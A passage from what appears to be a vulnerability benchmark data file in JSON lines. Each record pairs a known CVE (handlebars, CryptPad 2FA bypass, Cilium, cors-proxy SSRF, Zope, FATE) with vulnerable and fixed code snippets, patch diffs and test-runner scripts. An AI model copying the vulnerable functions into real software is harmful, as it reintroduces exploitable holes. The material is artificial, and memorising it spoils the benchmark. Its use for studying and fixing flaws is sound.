isWindows = platform === 'win32'\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-37712:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-tar\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnode test/path-reservations.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-37712:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/node-tar\ngit apply --whitespace=nowarn /workspace/fix.patch\nnode test/path-reservations.js\n"}
{"cve_id": "CVE-2021-23369", "cve_description": "The package handlebars before 4.7.7 are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/handlebars-lang/handlebars.js", "patch_url": ["https://github.com/handlebars-lang/handlebars.js/commit/b6d3de7123eebba603e321f04afdbae608e8fea8", "https://github.com/handlebars-lang/handlebars.js/commit/f0589701698268578199be25285b2ebea1c1e427"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_92_1", "commit": "f058970", "file_path": "lib/handlebars/runtime.js", "start_line": "121", "end_line": "128", "snippet": "    strict: function(obj, name, loc) {\n      if (!obj || !(name in obj)) {\n        throw new Exception('\"' + name + '\" not defined in ' + obj, {\n          loc: loc\n        });\n      }\n      return obj[name];\n    },"}], "fix_func": [{"id": "fix_js_92_1", "commit": "b6d3de7", "file_path": "lib/handlebars/runtime.js", "start_line": "121", "end_line": "128", "snippet": "    strict: function(obj, name, loc) {\n      if (!obj || !(name in obj)) {\n        throw new Exception('\"' + name + '\" not defined in ' + obj, {\n          loc: loc\n        });\n      }\n      return container.lookupProperty(obj, name);\n    },"}], "vul_patch": "--- a/lib/handlebars/runtime.js\n+++ b/lib/handlebars/runtime.js\n@@ -4,5 +4,5 @@\n           loc: loc\n         });\n       }\n-      return obj[name];\n+      return container.lookupProperty(obj, name);\n     },\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-49591", "cve_description": "CryptPad is a collaboration suite. Prior to version 2025.3.0, enforcement of Two-Factor Authentication (2FA) in CryptPad can be trivially bypassed, due to weak implementation of access controls. An attacker that compromises a user's credentials can gain access to the victim's account, even if the victim has 2FA set up. This is due to 2FA not being enforced if the path parameter is not 44 characters long, which can be bypassed by simply URL encoding a single character in the path. This issue has been patched in version 2025.3.0.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/cryptpad/cryptpad", "patch_url": ["https://github.com/cryptpad/cryptpad/commit/0c5d4bbf5e5206d53470ea86a664fa2b703fb611"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_133_1", "commit": "77b46f6", "file_path": "lib/http-worker.js", "start_line": 356, "end_line": 509, "snippet": "app.use('/block/', function (req, res, next) {\n    var parsed = Path.parse(req.url);\n    var name = parsed.name;\n    // block access control only applies to files\n    // identified by base64-encoded public keys\n    // skip everything else, ie. /block/placeholder.txt\n    if (typeof(name) !== 'string' || name.length !== 44) {\n        return void res.status(404).json({\n            error: \"INVALID_ID\",\n        });\n    }\n\n    var authorization = req.headers.authorization;\n\n    var mfa_params, sso_params;\n    nThen(function (w) {\n        // First, check whether the block id in question has any MFA settings stored\n        MFA.read(Env, name, w(function (err, content) {\n            // ENOENT means there are no settings configured\n            // it could be a 404 or an existing block without MFA protection\n            // in either case you can abort and fall through\n            // allowing the static webserver to handle either case\n            if (err && err.code === 'ENOENT') {\n                return;\n            }\n\n            // we're not expecting other errors. the sensible thing is to fail\n            // closed - meaning assume some protection is in place but that\n            // the settings couldn't be loaded for some reason. block access\n            // to the resource, logging for the admin and responding to the client\n            // with a vague error code\n            if (err) {\n                Log.error('GET_BLOCK_METADATA', err);\n                return void res.status(500).json({\n                    code: 500,\n                    error: \"UNEXPECTED_ERROR\",\n                });\n            }\n\n            // Otherwise, some settings were loaded correctly.\n            // We're expecting stringified JSON, so try to parse it.\n            // Log and respond with an error again if this fails.\n            // If it parses successfully then fall through to the next block.\n            try {\n                mfa_params = JSON.parse(content);\n            } catch (err2) {\n                w.abort();\n                Log.error(\"INVALID_BLOCK_METADATA\", err2);\n                return res.status(500).json({\n                    code: 500,\n                    error: \"UNEXPECTED_ERROR\",\n                });\n            }\n        }));\n\n        // Same for SSO settings\n        if (!SSOUtils) { return; }\n        SSOUtils.readBlock(Env, name, w(function (err, content) {\n            if (err && (err.code === 'ENOENT' || err === 'ENOENT')) {\n                return;\n            }\n            if (err) {\n                Log.error('GET_BLOCK_METADATA', err);\n                return void res.status(500).json({\n                    code: 500,\n                    error: \"UNEXPECTED_ERROR\",\n                });\n            }\n            sso_params = content;\n        }));\n    }).nThen(function (w) {\n        if (!mfa_params && !sso_params) {\n            w.abort();\n            next();\n        }\n    }).nThen(function (w) {\n        // We should only be able to reach this logic\n        // if we successfully loaded and parsed some JSON\n        // representing the user's MFA and/or SSO settings.\n\n        // Failures at this point relate to insufficient or incorrect authorization.\n        // This function standardizes how we reject such requests.\n\n        // So far the only additional factor which is supported is TOTP.\n        // We specify what the method is to allow for future alternatives\n        // and inform the client so they can determine how to respond\n        // \"401\" means \"Unauthorized\"\n        var no = function () {\n            w.abort();\n            res.status(401).json({\n                sso: Boolean(sso_params),\n                method: mfa_params && mfa_params.method,\n                code: 401\n            });\n        };\n\n        // if you are here it is because this block is protected by MFA or SSO.\n        // they will need to provide a JSON Web Token, so we can reject them outright\n        // if one is not present in their authorization header\n        if (!authorization) { return void no(); }\n\n        // The authorization header should be of the form\n        // \"Authorization: Bearer <SessionId>\"\n        // We can reject the request if it is malformed.\n        let token = authorization.replace(/^Bearer\\s+/, '').trim();\n        if (!token) { return void no(); }\n\n        Sessions.read(Env, name, token, function (err, contentStr) {\n            if (err) {\n                Log.error('SESSION_READ_ERROR', err);\n                return res.status(401).json({\n                    sso: Boolean(sso_params),\n                    method: mfa_params && mfa_params.method,\n                    code: 401,\n                });\n            }\n\n            let content = Util.tryParse(contentStr);\n\n            if (mfa_params && !content.mfa) { return void no(); }\n            if (sso_params && !content.sso) { return void no(); }\n\n            if (content.mfa && content.mfa.exp && (+new Date()) > content.mfa.exp) {\n                Log.error(\"OTP_SESSION_EXPIRED\", content.mfa);\n                Sessions.delete(Env, name, token, function (err) {\n                    if (err) {\n                        Log.error('SESSION_DELETE_EXPIRED_ERROR', err);\n                        return;\n                    }\n                    Log.info('SESSION_DELETE_EXPIRED', err);\n                });\n                return void no();\n            }\n\n\n            if (content.sso && content.sso.exp && (+new Date()) > content.sso.exp) {\n                Log.error(\"SSO_SESSION_EXPIRED\", content.sso);\n                Sessions.delete(Env, name, token, function (err) {\n                    if (err) {\n                        Log.error('SSO_SESSION_DELETE_EXPIRED_ERROR', err);\n                        return;\n                    }\n                    Log.info('SSO_SESSION_DELETE_EXPIRED', err);\n                });\n                return void no();\n            }\n\n            // Interpret the existence of a file in that location as the continued\n            // validity of the session. Fall through and let the built-in webserver\n            // handle the 404 or serving the file.\n            next();\n        });\n    });\n});"}], "fix_func": [{"id": "fix_js_133_1", "commit": "0c5d4bb", "file_path": "lib/http-worker.js", "start_line": 356, "end_line": 512, "snippet": "app.use('/block/', function (req, res, next) {\n    var parsed = Path.parse(req.url);\n    var name = parsed.name;\n    // block access control only applies to files\n    // identified by base64-encoded public keys\n    // skip everything else, ie. /block/placeholder.txt\n    if (/placeholder\\.txt(\\?.+)?/.test(parsed.base)) {\n        return void next();\n    }\n    if (typeof(name) !== 'string' || name.length !== 44) {\n        return void res.status(404).json({\n            error: \"INVALID_ID\",\n        });\n    }\n\n    var authorization = req.headers.authorization;\n\n    var mfa_params, sso_params;\n    nThen(function (w) {\n        // First, check whether the block id in question has any MFA settings stored\n        MFA.read(Env, name, w(function (err, content) {\n            // ENOENT means there are no settings configured\n            // it could be a 404 or an existing block without MFA protection\n            // in either case you can abort and fall through\n            // allowing the static webserver to handle either case\n            if (err && err.code === 'ENOENT') {\n                return;\n            }\n\n            // we're not expecting other errors. the sensible thing is to fail\n            // closed - meaning assume some protection is in place but that\n            // the settings couldn't be loaded for some reason. block access\n            // to the resource, logging for the admin and responding to the client\n            // with a vague error code\n            if (err) {\n                Log.error('GET_BLOCK_METADATA', err);\n                return void res.status(500).json({\n                    code: 500,\n                    error: \"UNEXPECTED_ERROR\",\n                });\n            }\n\n            // Otherwise, some settings were loaded correctly.\n            // We're expecting stringified JSON, so try to parse it.\n            // Log and respond with an error again if this fails.\n            // If it parses successfully then fall through to the next block.\n            try {\n                mfa_params = JSON.parse(content);\n            } catch (err2) {\n                w.abort();\n                Log.error(\"INVALID_BLOCK_METADATA\", err2);\n                return res.status(500).json({\n                    code: 500,\n                    error: \"UNEXPECTED_ERROR\",\n                });\n            }\n        }));\n\n        // Same for SSO settings\n        if (!SSOUtils) { return; }\n        SSOUtils.readBlock(Env, name, w(function (err, content) {\n            if (err && (err.code === 'ENOENT' || err === 'ENOENT')) {\n                return;\n            }\n            if (err) {\n                Log.error('GET_BLOCK_METADATA', err);\n                return void res.status(500).json({\n                    code: 500,\n                    error: \"UNEXPECTED_ERROR\",\n                });\n            }\n            sso_params = content;\n        }));\n    }).nThen(function (w) {\n        if (!mfa_params && !sso_params) {\n            w.abort();\n            next();\n        }\n    }).nThen(function (w) {\n        // We should only be able to reach this logic\n        // if we successfully loaded and parsed some JSON\n        // representing the user's MFA and/or SSO settings.\n\n        // Failures at this point relate to insufficient or incorrect authorization.\n        // This function standardizes how we reject such requests.\n\n        // So far the only additional factor which is supported is TOTP.\n        // We specify what the method is to allow for future alternatives\n        // and inform the client so they can determine how to respond\n        // \"401\" means \"Unauthorized\"\n        var no = function () {\n            w.abort();\n            res.status(401).json({\n                sso: Boolean(sso_params),\n                method: mfa_params && mfa_params.method,\n                code: 401\n            });\n        };\n\n        // if you are here it is because this block is protected by MFA or SSO.\n        // they will need to provide a JSON Web Token, so we can reject them outright\n        // if one is not present in their authorization header\n        if (!authorization) { return void no(); }\n\n        // The authorization header should be of the form\n        // \"Authorization: Bearer <SessionId>\"\n        // We can reject the request if it is malformed.\n        let token = authorization.replace(/^Bearer\\s+/, '').trim();\n        if (!token) { return void no(); }\n\n        Sessions.read(Env, name, token, function (err, contentStr) {\n            if (err) {\n                Log.error('SESSION_READ_ERROR', err);\n                return res.status(401).json({\n                    sso: Boolean(sso_params),\n                    method: mfa_params && mfa_params.method,\n                    code: 401,\n                });\n            }\n\n            let content = Util.tryParse(contentStr);\n\n            if (mfa_params && !content.mfa) { return void no(); }\n            if (sso_params && !content.sso) { return void no(); }\n\n            if (content.mfa && content.mfa.exp && (+new Date()) > content.mfa.exp) {\n                Log.error(\"OTP_SESSION_EXPIRED\", content.mfa);\n                Sessions.delete(Env, name, token, function (err) {\n                    if (err) {\n                        Log.error('SESSION_DELETE_EXPIRED_ERROR', err);\n                        return;\n                    }\n                    Log.info('SESSION_DELETE_EXPIRED', err);\n                });\n                return void no();\n            }\n\n\n            if (content.sso && content.sso.exp && (+new Date()) > content.sso.exp) {\n                Log.error(\"SSO_SESSION_EXPIRED\", content.sso);\n                Sessions.delete(Env, name, token, function (err) {\n                    if (err) {\n                        Log.error('SSO_SESSION_DELETE_EXPIRED_ERROR', err);\n                        return;\n                    }\n                    Log.info('SSO_SESSION_DELETE_EXPIRED', err);\n                });\n                return void no();\n            }\n\n            // Interpret the existence of a file in that location as the continued\n            // validity of the session. Fall through and let the built-in webserver\n            // handle the 404 or serving the file.\n            next();\n        });\n    });\n});"}], "vul_patch": "--- a/lib/http-worker.js\n+++ b/lib/http-worker.js\n@@ -4,6 +4,9 @@\n     // block access control only applies to files\n     // identified by base64-encoded public keys\n     // skip everything else, ie. /block/placeholder.txt\n+    if (/placeholder\\.txt(\\?.+)?/.test(parsed.base)) {\n+        return void next();\n+    }\n     if (typeof(name) !== 'string' || name.length !== 44) {\n         return void res.status(404).json({\n             error: \"INVALID_ID\",\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-25459", "cve_description": "An issue was discovered in function sync_tree in hetero_decision_tree_guest.py in WeBank FATE (Federated AI Technology Enabler) 0.1 through 1.4.2 allows attackers to read sensitive information during the training process of machine learning joint modeling.", "cwe_info": {"CWE-668": {"name": "Exposure of Resource to Wrong Sphere", "description": "The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource."}}, "repo": "https://github.com/FederatedAI/FATE", "patch_url": ["https://github.com/FederatedAI/FATE/commit/6feccf6d752184a6f9365d56a76fe627983e7139"], "programing_language": "Python", "vul_func": [{"id": "vul_py_44_1", "commit": "67708d5", "file_path": "federatedml/tree/hetero/hetero_decision_tree_guest.py", "start_line": 532, "end_line": 544, "snippet": "    def sync_tree(self):\n        LOGGER.info(\"sync tree to host\")\n\n        self.transfer_inst.tree.remote(self.tree_,\n                                       role=consts.HOST,\n                                       idx=-1)\n        \"\"\"\n        federation.remote(obj=self.tree_,\n                          name=self.transfer_inst.tree.name,\n                          tag=self.transfer_inst.generate_transferid(self.transfer_inst.tree),\n                          role=consts.HOST,\n                          idx=-1)\n        \"\"\""}], "fix_func": [{"id": "fix_py_44_1", "commit": "6feccf6", "file_path": "federatedml/tree/hetero/hetero_decision_tree_guest.py", "start_line": 544, "end_line": 557, "snippet": "    def sync_tree(self):\n        LOGGER.info(\"sync tree to host\")\n\n        tree_nodes = self.remove_sensitive_info()\n        self.transfer_inst.tree.remote(tree_nodes,\n                                       role=consts.HOST,\n                                       idx=-1)\n        \"\"\"\n        federation.remote(obj=self.tree_,\n                          name=self.transfer_inst.tree.name,\n                          tag=self.transfer_inst.generate_transferid(self.transfer_inst.tree),\n                          role=consts.HOST,\n                          idx=-1)\n        \"\"\""}, {"id": "fix_py_44_2", "commit": "6feccf6", "file_path": "federatedml/tree/hetero/hetero_decision_tree_host.py", "start_line": 532, "end_line": 542, "snippet": "        return model_param\n\n    def set_model_param(self, model_param):\n        self.tree_ = []\n        for node_param in model_param.tree_:\n            _node = Node(id=node_param.id,\n                         sitename=node_param.sitename,\n                         fid=node_param.fid,\n                         bid=node_param.bid,\n                         weight=node_param.weight,\n                         is_leaf=node_param.is_leaf,"}], "vul_patch": "--- a/federatedml/tree/hetero/hetero_decision_tree_guest.py\n+++ b/federatedml/tree/hetero/hetero_decision_tree_guest.py\n@@ -1,7 +1,8 @@\n     def sync_tree(self):\n         LOGGER.info(\"sync tree to host\")\n \n-        self.transfer_inst.tree.remote(self.tree_,\n+        tree_nodes = self.remove_sensitive_info()\n+        self.transfer_inst.tree.remote(tree_nodes,\n                                        role=consts.HOST,\n                                        idx=-1)\n         \"\"\"\n\n--- /dev/null\n+++ b/federatedml/tree/hetero/hetero_decision_tree_guest.py\n@@ -0,0 +1,11 @@\n+        return model_param\n+\n+    def set_model_param(self, model_param):\n+        self.tree_ = []\n+        for node_param in model_param.tree_:\n+            _node = Node(id=node_param.id,\n+                         sitename=node_param.sitename,\n+                         fid=node_param.fid,\n+                         bid=node_param.bid,\n+                         weight=node_param.weight,\n+                         is_leaf=node_param.is_leaf,\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-25459:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/FATE\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2020-25459/bin/python  hand_test.py\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-25459:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/FATE\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2020-25459/bin/python -m pytest federatedml/tree/test/ -v"}
{"cve_id": "CVE-2024-42488", "cve_description": "Cilium is a networking, observability, and security solution with an eBPF-based dataplane. Prior to versions 1.14.14 and 1.15.8, a race condition in the Cilium agent can cause the agent to ignore labels that should be applied to a node. This could in turn cause CiliumClusterwideNetworkPolicies intended for nodes with the ignored label to not apply, leading to policy bypass. This issue has been patched in Cilium v1.14.14 and v1.15.8 As the underlying issue depends on a race condition, users unable to upgrade can restart the Cilium agent on affected nodes until the affected policies are confirmed to be working as expected.", "cwe_info": {"CWE-362": {"name": "Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')", "description": "The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently."}}, "repo": "https://github.com/cilium/cilium", "patch_url": ["https://github.com/cilium/cilium/commit/aa44dd148a9be95e07782e4f990e61678ef0abf8"], "programing_language": "Go", "vul_func": [{"id": "vul_go_295_1", "commit": "fdb97702d2fdff51b01aad8c4948f33dab7c2513", "file_path": "pkg/endpointmanager/host.go", "start_line": 32, "end_line": 41, "snippet": "func (mgr *endpointManager) startNodeLabelsObserver(old map[string]string) {\n\tmgr.localNodeStore.Observe(context.Background(), func(ln node.LocalNode) {\n\t\tif maps.Equal(old, ln.Labels) {\n\t\t\treturn\n\t\t}\n\n\t\tmgr.updateHostEndpointLabels(old, ln.Labels)\n\t\told = ln.Labels\n\t}, func(error) { /* Executed only when we are shutting down */ })\n}"}, {"id": "vul_go_295_2", "commit": "fdb97702d2fdff51b01aad8c4948f33dab7c2513", "file_path": "pkg/endpointmanager/host.go", "start_line": 43, "end_line": 58, "snippet": "func (mgr *endpointManager) updateHostEndpointLabels(oldNodeLabels, newNodeLabels map[string]string) {\n\tnodeEP := mgr.GetHostEndpoint()\n\tif nodeEP == nil {\n\t\tlog.Error(\"Host endpoint not found\")\n\t\treturn\n\t}\n\n\terr := nodeEP.UpdateLabelsFrom(oldNodeLabels, newNodeLabels, labels.LabelSourceK8s)\n\tif err != nil {\n\t\t// An error can only occur if either the endpoint is terminating, or the\n\t\t// old labels are not found. Both are impossible, hence there's no point\n\t\t// in retrying.\n\t\tlog.WithError(err).Error(\"Unable to update host endpoint labels\")\n\t\treturn\n\t}\n}"}], "fix_func": [{"id": "fix_go_295_1", "commit": "aa44dd148a9be95e07782e4f990e61678ef0abf8", "file_path": "pkg/endpointmanager/host.go", "start_line": 32, "end_line": 46, "snippet": "func (mgr *endpointManager) startNodeLabelsObserver(old map[string]string) {\n\tmgr.localNodeStore.Observe(context.Background(), func(ln node.LocalNode) {\n\t\tif maps.Equal(old, ln.Labels) {\n\t\t\treturn\n\t\t}\n\n\t\tif mgr.updateHostEndpointLabels(old, ln.Labels) {\n\t\t\t// Endpoint's label update logic rejects a request if any of the old labels are\n\t\t\t// not present in the endpoint manager's state. So, overwrite old labels only if\n\t\t\t// the update is successful to avoid node labels being outdated indefinitely (GH-29649).\n\t\t\told = ln.Labels\n\t\t}\n\n\t}, func(error) { /* Executed only when we are shutting down */ })\n}"}, {"id": "fix_go_295_2", "commit": "aa44dd148a9be95e07782e4f990e61678ef0abf8", "file_path": "pkg/endpointmanager/host.go", "start_line": 50, "end_line": 65, "snippet": "func (mgr *endpointManager) updateHostEndpointLabels(oldNodeLabels, newNodeLabels map[string]string) bool {\n\tnodeEP := mgr.GetHostEndpoint()\n\tif nodeEP == nil {\n\t\tlog.Error(\"Host endpoint not found\")\n\t\treturn false\n\t}\n\n\tif err := nodeEP.UpdateLabelsFrom(oldNodeLabels, newNodeLabels, labels.LabelSourceK8s); err != nil {\n\t\t// An error can only occur if either the endpoint is terminating, or the\n\t\t// old labels are not found. Both are impossible, hence there's no point\n\t\t// in retrying.\n\t\tlog.WithError(err).Error(\"Unable to update host endpoint labels\")\n\t\treturn false\n\t}\n\treturn true\n}"}], "vul_patch": "--- a/pkg/endpointmanager/host.go\n+++ b/pkg/endpointmanager/host.go\n@@ -4,7 +4,12 @@\n \t\t\treturn\n \t\t}\n \n-\t\tmgr.updateHostEndpointLabels(old, ln.Labels)\n-\t\told = ln.Labels\n+\t\tif mgr.updateHostEndpointLabels(old, ln.Labels) {\n+\t\t\t// Endpoint's label update logic rejects a request if any of the old labels are\n+\t\t\t// not present in the endpoint manager's state. So, overwrite old labels only if\n+\t\t\t// the update is successful to avoid node labels being outdated indefinitely (GH-29649).\n+\t\t\told = ln.Labels\n+\t\t}\n+\n \t}, func(error) { /* Executed only when we are shutting down */ })\n }\n\n--- a/pkg/endpointmanager/host.go\n+++ b/pkg/endpointmanager/host.go\n@@ -1,16 +1,16 @@\n-func (mgr *endpointManager) updateHostEndpointLabels(oldNodeLabels, newNodeLabels map[string]string) {\n+func (mgr *endpointManager) updateHostEndpointLabels(oldNodeLabels, newNodeLabels map[string]string) bool {\n \tnodeEP := mgr.GetHostEndpoint()\n \tif nodeEP == nil {\n \t\tlog.Error(\"Host endpoint not found\")\n-\t\treturn\n+\t\treturn false\n \t}\n \n-\terr := nodeEP.UpdateLabelsFrom(oldNodeLabels, newNodeLabels, labels.LabelSourceK8s)\n-\tif err != nil {\n+\tif err := nodeEP.UpdateLabelsFrom(oldNodeLabels, newNodeLabels, labels.LabelSourceK8s); err != nil {\n \t\t// An error can only occur if either the endpoint is terminating, or the\n \t\t// old labels are not found. Both are impossible, hence there's no point\n \t\t// in retrying.\n \t\tlog.WithError(err).Error(\"Unable to update host endpoint labels\")\n-\t\treturn\n+\t\treturn false\n \t}\n+\treturn true\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-23664", "cve_description": "The package @isomorphic-git/cors-proxy before 2.7.1 are vulnerable to Server-side Request Forgery (SSRF) due to missing sanitization and validation of the redirection action in middleware.js.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/isomorphic-git/cors-proxy", "patch_url": ["https://github.com/isomorphic-git/cors-proxy/commit/1b1c91e71d946544d97ccc7cf0ac62b859e03311"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_239_1", "commit": "617b73f", "file_path": "middleware.js", "start_line": 102, "end_line": 153, "snippet": "  function middleware (req, res) {\n    let u = url.parse(req.url, true)\n\n\n    let headers = {}\n    for (let h of allowHeaders) {\n      if (req.headers[h]) {\n        headers[h] = req.headers[h]\n      }\n    }\n\n    // GitHub uses user-agent sniffing for git/* and changes its behavior which is frustrating\n    if (!headers['user-agent'] || !headers['user-agent'].startsWith('git/')) {\n      headers['user-agent'] = 'git/@isomorphic-git/cors-proxy'\n    }\n\n    let p = u.path\n    let parts = p.match(/\\/([^\\/]*)\\/(.*)/)\n    let pathdomain = parts[1]\n    let remainingpath = parts[2]\n    let protocol = insecure_origins.includes(pathdomain) ? 'http' : 'https'\n\n    fetch(\n      `${protocol}://${pathdomain}/${remainingpath}`,\n      {\n        method: req.method,\n        headers,\n        body: (req.method !== 'GET' && req.method !== 'HEAD') ? req : undefined\n      }\n    ).then(f => {\n      res.statusCode = f.status\n      for (let h of exposeHeaders) {\n        if (h === 'content-length') continue\n        if (f.headers.has(h)) {\n          res.setHeader(h, f.headers.get(h))\n        }\n      }\n      if (f.redirected) {\n        res.setHeader('x-redirected-url', f.url)\n      }\n      f.body.pipe(res)\n    })\n  }\n  const cors = microCors({\n    allowHeaders,\n    exposeHeaders,\n    allowMethods,\n    allowCredentials: false,\n    origin\n  })\n  return filter(predicate, cors(compose(sendCorsOK, authorization, middleware)))\n}"}, {"id": "vul_js_239_2", "commit": "617b73f", "file_path": "middleware.js", "start_line": 27, "end_line": 44, "snippet": "const exposeHeaders = [\n  'accept-ranges',\n  'age',\n  'cache-control',\n  'content-length',\n  'content-language',\n  'content-type',\n  'date',\n  'etag',\n  'expires',\n  'last-modified',\n  'pragma',\n  'server',\n  'transfer-encoding',\n  'vary',\n  'x-github-request-id',\n  'x-redirected-url',\n]"}], "fix_func": [{"id": "fix_js_239_1", "commit": "1b1c91e71d946544d97ccc7cf0ac62b859e03311", "file_path": "middleware.js", "start_line": 103, "end_line": 160, "snippet": "  function middleware (req, res) {\n    let u = url.parse(req.url, true)\n\n\n    let headers = {}\n    for (let h of allowHeaders) {\n      if (req.headers[h]) {\n        headers[h] = req.headers[h]\n      }\n    }\n\n    // GitHub uses user-agent sniffing for git/* and changes its behavior which is frustrating\n    if (!headers['user-agent'] || !headers['user-agent'].startsWith('git/')) {\n      headers['user-agent'] = 'git/@isomorphic-git/cors-proxy'\n    }\n\n    let p = u.path\n    let parts = p.match(/\\/([^\\/]*)\\/(.*)/)\n    let pathdomain = parts[1]\n    let remainingpath = parts[2]\n    let protocol = insecure_origins.includes(pathdomain) ? 'http' : 'https'\n\n    fetch(\n      `${protocol}://${pathdomain}/${remainingpath}`,\n      {\n        method: req.method,\n        redirect: 'manual',\n        headers,\n        body: (req.method !== 'GET' && req.method !== 'HEAD') ? req : undefined\n      }\n    ).then(f => {\n      if (f.headers.has('location')) {\n        // Modify the location so the client continues to use the proxy\n        let newUrl = f.headers.get('location').replace(/^https?:\\//, '')\n        f.headers.set('location', newUrl)\n      }\n      res.statusCode = f.status\n      for (let h of exposeHeaders) {\n        if (h === 'content-length') continue\n        if (f.headers.has(h)) {\n          res.setHeader(h, f.headers.get(h))\n        }\n      }\n      if (f.redirected) {\n        res.setHeader('x-redirected-url', f.url)\n      }\n      f.body.pipe(res)\n    })\n  }\n  const cors = microCors({\n    allowHeaders,\n    exposeHeaders,\n    allowMethods,\n    allowCredentials: false,\n    origin\n  })\n  return filter(predicate, cors(compose(sendCorsOK, authorization, middleware)))\n}"}, {"id": "fix_js_239_2", "commit": "1b1c91e71d946544d97ccc7cf0ac62b859e03311", "file_path": "middleware.js", "start_line": 27, "end_line": 45, "snippet": "const exposeHeaders = [\n  'accept-ranges',\n  'age',\n  'cache-control',\n  'content-length',\n  'content-language',\n  'content-type',\n  'date',\n  'etag',\n  'expires',\n  'last-modified',\n  'location',\n  'pragma',\n  'server',\n  'transfer-encoding',\n  'vary',\n  'x-github-request-id',\n  'x-redirected-url',\n]"}], "vul_patch": "--- a/middleware.js\n+++ b/middleware.js\n@@ -24,10 +24,16 @@\n       `${protocol}://${pathdomain}/${remainingpath}`,\n       {\n         method: req.method,\n+        redirect: 'manual',\n         headers,\n         body: (req.method !== 'GET' && req.method !== 'HEAD') ? req : undefined\n       }\n     ).then(f => {\n+      if (f.headers.has('location')) {\n+        // Modify the location so the client continues to use the proxy\n+        let newUrl = f.headers.get('location').replace(/^https?:\\//, '')\n+        f.headers.set('location', newUrl)\n+      }\n       res.statusCode = f.status\n       for (let h of exposeHeaders) {\n         if (h === 'content-length') continue\n\n--- a/middleware.js\n+++ b/middleware.js\n@@ -9,6 +9,7 @@\n   'etag',\n   'expires',\n   'last-modified',\n+  'location',\n   'pragma',\n   'server',\n   'transfer-encoding',\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-32633", "cve_description": "Zope is an open-source web application server. In Zope versions prior to 4.6 and 5.2, users can access untrusted modules indirectly through Python modules that are available for direct use. By default, only users with the Manager role can add or edit Zope Page Templates through the web, but sites that allow untrusted users to add/edit Zope Page Templates through the web are at risk from this vulnerability. The problem has been fixed in Zope 5.2 and 4.6. As a workaround, a site administrator can restrict adding/editing Zope Page Templates through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing Zope Page Templates through the web should be restricted to trusted users only.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/zopefoundation/Zope", "patch_url": ["https://github.com/zopefoundation/Zope/commit/1f8456bf1f908ea46012537d52bd7e752a532c91"], "programing_language": "Python", "vul_func": [{"id": "vul_py_145_1", "commit": "1746d5a", "file_path": "src/Products/PageTemplates/Expressions.py", "start_line": 64, "end_line": 82, "snippet": "def boboAwareZopeTraverse(object, path_items, econtext):\n    \"\"\"Traverses a sequence of names, first trying attributes then items.\n\n    This uses zope.traversing path traversal where possible and interacts\n    correctly with objects providing OFS.interface.ITraversable when\n    necessary (bobo-awareness).\n    \"\"\"\n    request = getattr(econtext, 'request', None)\n    path_items = list(path_items)\n    path_items.reverse()\n\n    while path_items:\n        name = path_items.pop()\n        if OFS.interfaces.ITraversable.providedBy(object):\n            object = object.restrictedTraverse(name)\n        else:\n            object = traversePathElement(object, name, path_items,\n                                         request=request)\n    return object"}, {"id": "vul_py_145_2", "commit": "1746d5a", "file_path": "src/Products/PageTemplates/expression.py", "start_line": 56, "end_line": 70, "snippet": "    def traverse(cls, base, request, path_items):\n        \"\"\"See ``zope.app.pagetemplate.engine``.\"\"\"\n\n        path_items = list(path_items)\n        path_items.reverse()\n\n        while path_items:\n            name = path_items.pop()\n            if ITraversable.providedBy(base):\n                base = getattr(base, cls.traverseMethod)(name)\n            else:\n                base = traversePathElement(base, name, path_items,\n                                           request=request)\n\n        return base"}], "fix_func": [{"id": "fix_py_145_1", "commit": 